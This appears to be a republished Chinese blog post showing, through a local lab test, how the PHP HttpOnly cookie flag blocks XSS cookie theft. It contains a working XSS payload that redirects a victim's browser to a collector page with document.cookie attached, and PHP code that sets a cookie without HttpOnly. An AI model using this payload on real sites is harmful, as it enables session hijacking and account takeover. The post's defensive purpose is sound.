cookie设置httponly属性防护XSS攻击
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cookie设置httponly属性防护XSS攻击相关的知识,希望对你有一定的参考价值。
攻击者利用XSS漏洞获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,攻击这里用获取的COOKIE登陆账号,并进行非法操作。
COOKIE设置httponly属性可以化解XSS漏洞攻击带来的窃取cookie的危害。
php中COOKIE设置方法:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);
?>
最后一个字段false是为不设置httponly属性,true为已设置httponly属性。
测试内容:
本次测试环境,搭建一个包含XSS漏洞的php环境。
如图所示:
存在xss漏洞,获取cookie的代码为:
<script>document.location = ‘http://localhost/cookie_collect.php?cookie=‘ + document.cookie;</script>
获取COOKIE的页面为:http://localhost/cookie_collect.php
如图所示:
测试01
未设置httponly属性,cookie设置为:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);
?>
测试结果:
获取到cookie的内容,如图所示:
访问日志内容为:
测试结果:利用跨站漏洞可以获取cookie内容。
测试02
设置httponly属性,cookie设置为:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);
?>
测试结果:
未获取到cookie的内容,如图所示:
访问日志内容为:
测试结果:利用跨站漏洞不能够获取cookie内容。
本文出自 “Mask_X 博客” 博客,请务必保留此出处http://zhpfbk.blog.51cto.com/4757027/1888902
以上是关于cookie设置httponly属性防护XSS攻击的主要内容,如果未能解决你的问题,请参考以下文章
用javascript能不能提取httponly属性的cookie